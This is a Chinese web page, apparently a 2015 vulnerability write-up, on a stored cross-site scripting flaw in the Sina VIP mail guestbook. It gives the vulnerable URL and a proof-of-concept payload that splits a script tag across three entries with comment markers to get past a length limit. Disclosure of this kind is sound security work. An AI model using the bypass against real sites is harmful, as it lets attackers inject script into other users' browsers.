新浪vip邮箱留言板存储型跨站 - 网站安全

新浪vip邮箱留言板存储型跨站 - 网站安全 - 自学

来源：自学PHP网时间：2015-04-17 14:11 作者：阅读:次

[导读] 1.留言人处没有做过滤，2.留言处采用的过滤方式过于粗放http://bbs.vip.sina.com.cn/comment.php?uid=aibaqiu留言人处在服务端限制了字符个数,输入scriptalert(/xss/);/script,返回结果scriptalert(/xss/)......

1.留言人处没有做过滤，
2.留言处采用的过滤方式过于粗放

http://bbs.vip.sina.com.cn/comment.php?uid=aibaqiu
留言人处在服务端限制了字符个数,输入<script>alert(/xss/);</script>,返回结果<script>alert(/xss/)
所以采用多次留言的方式来绕过
分别为
1.*/</script>
2.*/alert(/xss/);/*
3.<script>/* www.2cto.com
使用/**/来注释掉两个留言人中间的html代码，便可绕过

修复方案：

过滤

作者善心

ThinkPHP最新版3.0RC1存在XSS漏洞 - 网站安全 - 自学

迅雷离线下载漏洞，迅雷用户网盘内容泄露 - 网

子栏目

新浪vip邮箱留言板存储型跨站 - 网站安全 - 自学

最新评论

添加评论

更多文章推荐

添加评论